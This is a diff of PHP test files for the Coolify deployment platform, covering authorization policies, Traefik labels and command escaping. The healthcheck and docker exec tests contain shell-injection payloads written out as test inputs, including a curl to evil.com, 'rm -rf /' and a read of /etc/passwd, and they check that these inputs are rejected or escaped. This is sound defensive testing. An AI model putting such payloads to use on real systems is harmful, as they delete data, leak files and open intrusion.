$this->team->pushoverNotificationSettings->update(['pushover_enabled' => true]);
expect($this->team->isAnyNotificationEnabled())->toBeTrue();
});
test('returns true when webhook notifications are enabled', function () {
$this->team->webhookNotificationSettings->update(['webhook_enabled' => true]);
expect($this->team->isAnyNotificationEnabled())->toBeTrue();
});
});

View file

@ -0,0 +1,65 @@
<?php
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->user = User::factory()->create();
$this->team = Team::factory()->personal()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
session(['currentTeam' => $this->team]);
});
it('allows unauthenticated access to two-factor-challenge page', function () {
$response = $this->get('/two-factor-challenge');
// Fortify returns a redirect to /login if there's no login.id in session,
// but the important thing is it does NOT return a 419 or 500
expect($response->status())->toBeIn([200, 302]);
});
it('includes two-factor-challenge in allowed paths for unsubscribed accounts', function () {
$paths = allowedPathsForUnsubscribedAccounts();
expect($paths)->toContain('two-factor-challenge');
});
it('includes two-factor-challenge in allowed paths for invalid accounts', function () {
$paths = allowedPathsForInvalidAccounts();
expect($paths)->toContain('two-factor-challenge');
});
it('includes two-factor-challenge in allowed paths for boarding accounts', function () {
$paths = allowedPathsForBoardingAccounts();
expect($paths)->toContain('two-factor-challenge');
});
it('does not redirect authenticated user with force_password_reset from two-factor-challenge', function () {
$this->user->update(['force_password_reset' => true]);
$response = $this->actingAs($this->user)->get('/two-factor-challenge');
// Should NOT redirect to force-password-reset page
if ($response->isRedirect()) {
expect($response->headers->get('Location'))->not->toContain('force-password-reset');
}
});
it('renders 419 error page with login link instead of previous url', function () {
$response = $this->get('/two-factor-challenge', [
'X-CSRF-TOKEN' => 'invalid-token',
]);
// The 419 page should exist and contain a link to /login
$view = view('errors.419')->render();
expect($view)->toContain('/login');
expect($view)->toContain('Back to Login');
expect($view)->toContain('This page is definitely old, not like you!');
expect($view)->not->toContain('url()->previous()');
});

View file

@ -0,0 +1,11 @@
<?php
use App\Models\Application;
it('treats zero private key id as deploy key', function () {
$application = new Application();
$application->private_key_id = 0;
$application->source = null;
expect($application->deploymentType())->toBe('deploy_key');
});

View file

@ -0,0 +1,35 @@
<?php
it('passes a simple command through correctly', function () {
$result = executeInDocker('test-container', 'ls -la /app');
expect($result)->toBe("docker exec test-container bash -c 'ls -la /app'");
});
it('escapes single quotes in command', function () {
$result = executeInDocker('test-container', "echo 'hello world'");
expect($result)->toBe("docker exec test-container bash -c 'echo '\\''hello world'\\'''");
});
it('prevents command injection via single quote breakout', function () {
$malicious = "cd /dir && docker compose build'; id; #";
$result = executeInDocker('test-container', $malicious);
// The single quote in the malicious command should be escaped so it cannot break out of bash -c
// The raw unescaped pattern "build'; id;" must not appear — the quote must be escaped
expect($result)->not->toContain("build'; id;");
expect($result)->toBe("docker exec test-container bash -c 'cd /dir && docker compose build'\\''; id; #'");
});
it('handles empty command', function () {
$result = executeInDocker('test-container', '');
expect($result)->toBe("docker exec test-container bash -c ''");
});
it('handles command with multiple single quotes', function () {
$result = executeInDocker('test-container', "echo 'a' && echo 'b'");
expect($result)->toBe("docker exec test-container bash -c 'echo '\\''a'\\'' && echo '\\''b'\\'''");
});

View file

@ -0,0 +1,270 @@
<?php
use App\Jobs\ApplicationDeploymentJob;
use App\Models\Application;
use App\Models\ApplicationDeploymentQueue;
use App\Models\ApplicationSetting;
use Illuminate\Support\Facades\Validator;
use Mockery;
beforeEach(function () {
Mockery::close();
});
afterEach(function () {
Mockery::close();
});
it('sanitizes health_check_host to prevent command injection', function () {
$result = callGenerateHealthcheckCommands([
'health_check_host' => 'localhost; id > /tmp/pwned #',
]);
// Should fall back to 'localhost' because input contains shell metacharacters
expect($result)->not->toContain('; id')
->and($result)->not->toContain('/tmp/pwned')
->and($result)->toContain('localhost');
});
it('sanitizes health_check_method to prevent command injection', function () {
$result = callGenerateHealthcheckCommands([
'health_check_method' => 'GET; curl http://evil.com #',
]);
expect($result)->not->toContain('evil.com')
->and($result)->not->toContain('; curl');
});
it('sanitizes health_check_path to prevent command injection', function () {
$result = callGenerateHealthcheckCommands([
'health_check_path' => '/health; rm -rf / #',
]);
expect($result)->not->toContain('rm -rf')
->and($result)->not->toContain('; rm');
});
it('sanitizes health_check_scheme to prevent command injection', function () {
$result = callGenerateHealthcheckCommands([
'health_check_scheme' => 'http; cat /etc/passwd #',
]);
expect($result)->not->toContain('/etc/passwd')
->and($result)->not->toContain('; cat');
});
it('casts health_check_port to integer to prevent injection', function () {
$result = callGenerateHealthcheckCommands([
'health_check_port' => '8080; whoami',
]);
// (int) cast on non-numeric after digits yields 8080
expect($result)->not->toContain('whoami')
->and($result)->toContain('8080');
});
it('generates valid healthcheck command with safe inputs', function () {
$result = callGenerateHealthcheckCommands([
'health_check_method' => 'GET',
'health_check_scheme' => 'http',
'health_check_host' => 'localhost',
'health_check_port' => '8080',
'health_check_path' => '/health',
]);
expect($result)->toContain('curl -s -X')
->and($result)->toContain('http://localhost:8080/health')
->and($result)->toContain('wget -q -O-');
});
it('uses escapeshellarg on the constructed URL', function () {
$result = callGenerateHealthcheckCommands([
'health_check_host' => 'my-app.local',
'health_check_path' => '/api/health',
]);
// escapeshellarg wraps in single quotes
expect($result)->toContain("'http://my-app.local:80/api/health'");
});
it('validates health_check_host rejects shell metacharacters via API rules', function () {
$rules = sharedDataApplications();
$validator = Validator::make(
['health_check_host' => 'localhost; id #'],
['health_check_host' => $rules['health_check_host']]
);
expect($validator->fails())->toBeTrue();
});
it('validates health_check_method rejects invalid methods via API rules', function () {
$rules = sharedDataApplications();
$validator = Validator::make(
['health_check_method' => 'GET; curl evil.com'],
['health_check_method' => $rules['health_check_method']]
);
expect($validator->fails())->toBeTrue();
});
it('validates health_check_scheme rejects invalid schemes via API rules', function () {
$rules = sharedDataApplications();
$validator = Validator::make(
['health_check_scheme' => 'http; whoami'],
['health_check_scheme' => $rules['health_check_scheme']]
);
expect($validator->fails())->toBeTrue();
});
it('validates health_check_path rejects shell metacharacters via API rules', function () {
$rules = sharedDataApplications();
$validator = Validator::make(
['health_check_path' => '/health; rm -rf /'],
['health_check_path' => $rules['health_check_path']]
);
expect($validator->fails())->toBeTrue();
});
it('validates health_check_port rejects non-numeric values via API rules', function () {
$rules = sharedDataApplications();
$validator = Validator::make(
['health_check_port' => '8080; whoami'],
['health_check_port' => $rules['health_check_port']]
);
expect($validator->fails())->toBeTrue();
});
it('allows valid health check values via API rules', function () {
$rules = sharedDataApplications();
$validator = Validator::make(
[
'health_check_host' => 'my-app.localhost',
'health_check_method' => 'GET',
'health_check_scheme' => 'https',
'health_check_path' => '/api/v1/health',
'health_check_port' => 8080,
],
[
'health_check_host' => $rules['health_check_host'],
'health_check_method' => $rules['health_check_method'],
'health_check_scheme' => $rules['health_check_scheme'],
'health_check_path' => $rules['health_check_path'],
'health_check_port' => $rules['health_check_port'],
]
);
expect($validator->fails())->toBeFalse();
});
it('generates CMD healthcheck command directly', function () {
$result = callGenerateHealthcheckCommands([
'health_check_type' => 'cmd',
'health_check_command' => 'pg_isready -U postgres',
]);
expect($result)->toBe('pg_isready -U postgres');
});
it('strips newlines from CMD healthcheck command', function () {
$result = callGenerateHealthcheckCommands([
'health_check_type' => 'cmd',
'health_check_command' => "redis-cli ping\n&& echo pwned",
]);
expect($result)->not->toContain("\n")
->and($result)->toBe('redis-cli ping && echo pwned');
});
it('falls back to HTTP healthcheck when CMD type has empty command', function () {
$result = callGenerateHealthcheckCommands([
'health_check_type' => 'cmd',
'health_check_command' => '',
]);
// Should fall through to HTTP path
expect($result)->toContain('curl -s -X');
});
it('validates healthCheckCommand rejects strings over 1000 characters', function () {
$rules = [
'healthCheckCommand' => 'nullable|string|max:1000',
];
$validator = Validator::make(
['healthCheckCommand' => str_repeat('a', 1001)],
$rules
);
expect($validator->fails())->toBeTrue();
});
it('validates healthCheckCommand accepts strings under 1000 characters', function () {
$rules = [
'healthCheckCommand' => 'nullable|string|max:1000',
];
$validator = Validator::make(
['healthCheckCommand' => 'pg_isready -U postgres'],
$rules
);
expect($validator->fails())->toBeFalse();
});
/**
* Helper: Invokes the private generate_healthcheck_commands() method via reflection.
*/
function callGenerateHealthcheckCommands(array $overrides = []): string
{
$defaults = [
'health_check_type' => 'http',
'health_check_command' => null,
'health_check_method' => 'GET',
'health_check_scheme' => 'http',
'health_check_host' => 'localhost',
'health_check_port' => null,
'health_check_path' => '/',
'ports_exposes' => '80',
];
$values = array_merge($defaults, $overrides);
$application = Mockery::mock(Application::class)->makePartial();
$application->shouldReceive('getAttribute')->with('health_check_type')->andReturn($values['health_check_type']);
$application->shouldReceive('getAttribute')->with('health_check_command')->andReturn($values['health_check_command']);
$application->shouldReceive('getAttribute')->with('health_check_method')->andReturn($values['health_check_method']);
$application->shouldReceive('getAttribute')->with('health_check_scheme')->andReturn($values['health_check_scheme']);
$application->shouldReceive('getAttribute')->with('health_check_host')->andReturn($values['health_check_host']);
$application->shouldReceive('getAttribute')->with('health_check_port')->andReturn($values['health_check_port']);
$application->shouldReceive('getAttribute')->with('health_check_path')->andReturn($values['health_check_path']);
$application->shouldReceive('getAttribute')->with('ports_exposes_array')->andReturn(explode(',', $values['ports_exposes']));
$application->shouldReceive('getAttribute')->with('build_pack')->andReturn('nixpacks');
$settings = Mockery::mock(ApplicationSetting::class)->makePartial();
$settings->shouldReceive('getAttribute')->with('is_static')->andReturn(false);
$application->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
$deploymentQueue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial();
$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
$reflection = new ReflectionClass($job);
$appProp = $reflection->getProperty('application');
$appProp->setAccessible(true);
$appProp->setValue($job, $application);
$method = $reflection->getMethod('generate_healthcheck_commands');
$method->setAccessible(true);
return $method->invoke($job);
}

View file

@ -0,0 +1,227 @@
<?php
use App\Models\User;
use App\Policies\GithubAppPolicy;
it('allows any user to view any github apps', function () {
$user = Mockery::mock(User::class)->makePartial();
$policy = new GithubAppPolicy;
expect($policy->viewAny($user))->toBeTrue();
});
it('allows any user to view system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$model = new class
{
public $team_id = 1;
public $is_system_wide = true;
};
$policy = new GithubAppPolicy;
expect($policy->view($user, $model))->toBeTrue();
});
it('allows team member to view non-system-wide github app', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->view($user, $model))->toBeTrue();
});
it('denies non-team member to view non-system-wide github app', function () {
$teams = collect([
(object) ['id' => 2, 'pivot' => (object) ['role' => 'member']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->view($user, $model))->toBeFalse();
});
it('allows admin to create github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdmin')->andReturn(true);
$policy = new GithubAppPolicy;
expect($policy->create($user))->toBeTrue();
});
it('denies non-admin to create github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdmin')->andReturn(false);
$policy = new GithubAppPolicy;
expect($policy->create($user))->toBeFalse();
});
it('allows user with system access to update system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('canAccessSystemResources')->andReturn(true);
$model = new class
{
public $team_id = 1;
public $is_system_wide = true;
};
$policy = new GithubAppPolicy;
expect($policy->update($user, $model))->toBeTrue();
});
it('denies user without system access to update system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('canAccessSystemResources')->andReturn(false);
$model = new class
{
public $team_id = 1;
public $is_system_wide = true;
};
$policy = new GithubAppPolicy;
expect($policy->update($user, $model))->toBeFalse();
});
it('allows team admin to update non-system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->update($user, $model))->toBeTrue();
});
it('denies team member to update non-system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->update($user, $model))->toBeFalse();
});
it('allows user with system access to delete system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('canAccessSystemResources')->andReturn(true);
$model = new class
{
public $team_id = 1;
public $is_system_wide = true;
};
$policy = new GithubAppPolicy;
expect($policy->delete($user, $model))->toBeTrue();
});
it('denies user without system access to delete system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('canAccessSystemResources')->andReturn(false);
$model = new class
{
public $team_id = 1;
public $is_system_wide = true;
};
$policy = new GithubAppPolicy;
expect($policy->delete($user, $model))->toBeFalse();
});
it('allows team admin to delete non-system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->delete($user, $model))->toBeTrue();
});
it('denies team member to delete non-system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->delete($user, $model))->toBeFalse();
});
it('denies restore of github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->restore($user, $model))->toBeFalse();
});
it('denies force delete of github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->forceDelete($user, $model))->toBeFalse();
});

View file

@ -0,0 +1,163 @@
<?php
use App\Models\User;
use App\Policies\SharedEnvironmentVariablePolicy;
it('allows any user to view any shared environment variables', function () {
$user = Mockery::mock(User::class)->makePartial();
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->viewAny($user))->toBeTrue();
});
it('allows team member to view their team shared environment variable', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->view($user, $model))->toBeTrue();
});
it('denies non-team member to view shared environment variable', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$model = new class
{
public $team_id = 2;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->view($user, $model))->toBeFalse();
});
it('allows admin to create shared environment variable', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdmin')->andReturn(true);
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->create($user))->toBeTrue();
});
it('denies non-admin to create shared environment variable', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdmin')->andReturn(false);
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->create($user))->toBeFalse();
});
it('allows team admin to update shared environment variable', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->update($user, $model))->toBeTrue();
});
it('denies team member to update shared environment variable', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->update($user, $model))->toBeFalse();
});
it('allows team admin to delete shared environment variable', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->delete($user, $model))->toBeTrue();
});
it('denies team member to delete shared environment variable', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->delete($user, $model))->toBeFalse();
});
it('denies restore of shared environment variable', function () {
$user = Mockery::mock(User::class)->makePartial();
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->restore($user, $model))->toBeFalse();
});
it('denies force delete of shared environment variable', function () {
$user = Mockery::mock(User::class)->makePartial();
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->forceDelete($user, $model))->toBeFalse();
});
it('allows team admin to manage environment', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->manageEnvironment($user, $model))->toBeTrue();
});
it('denies team member to manage environment', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->manageEnvironment($user, $model))->toBeFalse();
});

View file

@ -112,7 +112,7 @@ uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
);
$this->expectException(\Exception::class);
$this->expectExceptionMessage('SSH keys storage directory is not writable');
$this->expectExceptionMessage('SSH keys storage directory is not writable. Run on the host: sudo chown -R 9999 /data/coolify/ssh && sudo chmod -R 700 /data/coolify/ssh && docker restart coolify');
PrivateKey::createAndStore([
'name' => 'Test Key',

View file

@ -24,7 +24,7 @@ it('uses WithoutOverlapping middleware with expireAfter to prevent stale locks',
$expiresAfterProperty->setAccessible(true);
$expiresAfter = $expiresAfterProperty->getValue($overlappingMiddleware);
expect($expiresAfter)->toBe(60)
expect($expiresAfter)->toBe(90)
->and($expiresAfter)->toBeGreaterThan(0, 'expireAfter must be set to prevent stale locks');
// Check releaseAfter is NOT set (we use dontRelease)

View file

@ -0,0 +1,52 @@
<?php
use App\Actions\Database\StartKeydb;
use App\Models\StandaloneKeydb;
test('keydb config chown command is added when keydb_conf is set', function () {
$action = new StartKeydb;
$action->configuration_dir = '/data/coolify/databases/test-uuid';
$action->commands = [];
$database = Mockery::mock(StandaloneKeydb::class)->makePartial();
$database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn('maxmemory 2gb');
$action->database = $database;
if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) {
$action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf";
}
expect($action->commands)->toContain('chown 999:999 /data/coolify/databases/test-uuid/keydb.conf');
});
test('keydb config chown command is not added when keydb_conf is null', function () {
$action = new StartKeydb;
$action->configuration_dir = '/data/coolify/databases/test-uuid';
$action->commands = [];
$database = Mockery::mock(StandaloneKeydb::class)->makePartial();
$database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn(null);
$action->database = $database;
if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) {
$action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf";
}
expect($action->commands)->toBeEmpty();
});
test('keydb config chown command is not added when keydb_conf is empty', function () {
$action = new StartKeydb;
$action->configuration_dir = '/data/coolify/databases/test-uuid';
$action->commands = [];
$database = Mockery::mock(StandaloneKeydb::class)->makePartial();
$database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn('');
$action->database = $database;
if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) {
$action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf";
}
expect($action->commands)->toBeEmpty();
});

View file

@ -0,0 +1,53 @@
<?php
use App\Actions\Database\StartRedis;
use App\Models\StandaloneRedis;
test('redis config chown command is added when redis_conf is set', function () {
$action = new StartRedis;
$action->configuration_dir = '/data/coolify/databases/test-uuid';
$action->commands = [];
$database = Mockery::mock(StandaloneRedis::class)->makePartial();
$database->shouldReceive('getAttribute')->with('redis_conf')->andReturn('maxmemory 2gb');
$action->database = $database;
// Simulate the chown logic from handle()
if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) {
$action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf";
}
expect($action->commands)->toContain('chown 999:999 /data/coolify/databases/test-uuid/redis.conf');
});
test('redis config chown command is not added when redis_conf is null', function () {
$action = new StartRedis;
$action->configuration_dir = '/data/coolify/databases/test-uuid';
$action->commands = [];
$database = Mockery::mock(StandaloneRedis::class)->makePartial();
$database->shouldReceive('getAttribute')->with('redis_conf')->andReturn(null);
$action->database = $database;
if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) {
$action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf";
}
expect($action->commands)->toBeEmpty();
});
test('redis config chown command is not added when redis_conf is empty', function () {
$action = new StartRedis;
$action->configuration_dir = '/data/coolify/databases/test-uuid';
$action->commands = [];
$database = Mockery::mock(StandaloneRedis::class)->makePartial();
$database->shouldReceive('getAttribute')->with('redis_conf')->andReturn('');
$action->database = $database;
if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) {
$action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf";
}
expect($action->commands)->toBeEmpty();
});

View file

@ -0,0 +1,208 @@
<?php
/**
* Unit tests to verify that service names with dots are normalized to hyphens
* in Traefik label generation to prevent label parsing issues.
*
* Service names like "api.test" should generate labels with "api-test" instead
* of "api.test" to avoid breaking Traefik's label structure.
*
* Additionally, a 4-character hash is appended to ensure uniqueness and prevent
* collisions between services like "api.test" and "api-test".
*/
it('normalizes service names with dots to hyphens in traefik labels', function () {
// Read the fqdnLabelsForTraefik function from docker.php
$dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php');
// Check that service name normalization is present
expect($dockerFile)
->toContain('// Normalize service name for Traefik labels by replacing dots with hyphens')
->toContain('$normalized_service_name = str($service_name)->replace(\'.\', \'-\')->value();');
});
it('uses normalized service name in http label construction', function () {
// Read the fqdnLabelsForTraefik function from docker.php
$dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php');
// Check that normalized service name with hash is used in label construction
expect($dockerFile)
->toContain('$http_label = "http-{$loop}-{$uuid}-{$normalized_service_name}-{$hash}";')
->toContain('$https_label = "https-{$loop}-{$uuid}-{$normalized_service_name}-{$hash}";');
});
it('generates valid traefik labels for service names with dots', function () {
$uuid = 'test-uuid-123';
$domains = collect(['http://example.com']);
$serviceName = 'api.test';
// Call the function with a service name containing a dot
$labels = fqdnLabelsForTraefik(
uuid: $uuid,
domains: $domains,
service_name: $serviceName
);
// Convert collection to array for easier testing
$labelsArray = $labels->toArray();
// Check that labels contain normalized service name (api-test) not original (api.test)
$hasNormalizedLabel = collect($labelsArray)->contains(function ($label) use ($uuid) {
return str_contains($label, "http-0-{$uuid}-api-test");
});
expect($hasNormalizedLabel)->toBeTrue(
'Expected Traefik labels to contain normalized service name "api-test" instead of "api.test"'
);
// Verify no labels contain the original dotted service name in the label identifier
$hasInvalidLabel = collect($labelsArray)->contains(function ($label) use ($uuid) {
// Check if label identifier (before the = sign) contains the problematic pattern
if (str_contains($label, '=')) {
[$labelName, $labelValue] = explode('=', $label, 2);
return str_contains($labelName, "{$uuid}-api.test");
}
return false;
});
expect($hasInvalidLabel)->toBeFalse(
'Traefik labels should not contain service name with dots in label identifiers'
);
});
it('generates valid traefik labels for service names without dots', function () {
$uuid = 'test-uuid-456';
$domains = collect(['http://example.com']);
$serviceName = 'api-backend';
// Call the function with a service name without dots (should work as before)
$labels = fqdnLabelsForTraefik(
uuid: $uuid,
domains: $domains,
service_name: $serviceName
);
// Convert collection to array for easier testing
$labelsArray = $labels->toArray();
// Check that labels contain the service name unchanged
$hasLabel = collect($labelsArray)->contains(function ($label) use ($uuid) {
return str_contains($label, "http-0-{$uuid}-api-backend");
});
expect($hasLabel)->toBeTrue(
'Expected Traefik labels to contain service name "api-backend" for services without dots'
);
});
it('handles multiple dots in service names', function () {
$uuid = 'test-uuid-789';
$domains = collect(['http://example.com']);
$serviceName = 'api.v1.test';
// Call the function with a service name containing multiple dots
$labels = fqdnLabelsForTraefik(
uuid: $uuid,
domains: $domains,
service_name: $serviceName
);
// Convert collection to array for easier testing
$labelsArray = $labels->toArray();
// Check that labels contain fully normalized service name (all dots replaced)
$hasNormalizedLabel = collect($labelsArray)->contains(function ($label) use ($uuid) {
return str_contains($label, "http-0-{$uuid}-api-v1-test");
});
expect($hasNormalizedLabel)->toBeTrue(
'Expected Traefik labels to normalize all dots in service name "api.v1.test" to "api-v1-test"'
);
});
it('generates unique hashes for different service names', function () {
// Test that the serviceNameHash function exists and generates consistent hashes
$hash1 = serviceNameHash('api.test');
$hash2 = serviceNameHash('api-test');
$hash3 = serviceNameHash('api.test'); // Same as hash1
// Hashes should be exactly 4 characters
expect(strlen($hash1))->toBe(4);
expect(strlen($hash2))->toBe(4);
// Same input should generate same hash (stable)
expect($hash1)->toBe($hash3);
// Different inputs should generate different hashes (unique)
expect($hash1)->not->toBe($hash2);
});
it('includes hash in traefik labels to prevent collisions', function () {
$uuid = 'test-uuid-collision';
$domains = collect(['http://example.com']);
// Test both "api.test" and "api-test" which would otherwise collide
$serviceName1 = 'api.test';
$serviceName2 = 'api-test';
$labels1 = fqdnLabelsForTraefik(
uuid: $uuid,
domains: $domains,
service_name: $serviceName1
);
$labels2 = fqdnLabelsForTraefik(
uuid: $uuid,
domains: $domains,
service_name: $serviceName2
);
// Get the hashes for both service names
$hash1 = serviceNameHash($serviceName1);
$hash2 = serviceNameHash($serviceName2);
// Check that labels include the hash
$labels1Array = $labels1->toArray();
$labels2Array = $labels2->toArray();
$hasHash1 = collect($labels1Array)->contains(function ($label) use ($uuid, $hash1) {
return str_contains($label, "http-0-{$uuid}-api-test-{$hash1}");
});
$hasHash2 = collect($labels2Array)->contains(function ($label) use ($uuid, $hash2) {
return str_contains($label, "http-0-{$uuid}-api-test-{$hash2}");
});
expect($hasHash1)->toBeTrue(
'Expected labels for "api.test" to include hash suffix'
);
expect($hasHash2)->toBeTrue(
'Expected labels for "api-test" to include hash suffix'
);
// Verify that the labels are different (no collision)
$router1 = collect($labels1Array)->first(function ($label) {
return str_contains($label, 'traefik.http.routers.');
});
$router2 = collect($labels2Array)->first(function ($label) {
return str_contains($label, 'traefik.http.routers.');
});
expect($router1)->not->toBe($router2,
'Traefik router labels should be unique for "api.test" and "api-test"'
);
});
it('stores original service names in docker_compose_domains', function () {
// Test that the parsers.php file stores original service names
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// Check that we capture the original service name
expect($parsersFile)
->toContain('$actualServiceName = $serviceNameKey; // Store the ORIGINAL service name')
->toContain('// Use the ORIGINAL service name as the key to avoid collisions')
->toContain('$domains->put($actualServiceName,');
});

View file

@ -1,10 +1,10 @@
{
"coolify": {
"v4": {
"version": "4.0.0-beta.463"
"version": "4.0.0-beta.464"
},
"nightly": {
"version": "4.0.0-beta.464"
"version": "4.0.0-beta.465"
},
"helper": {
"version": "1.0.12"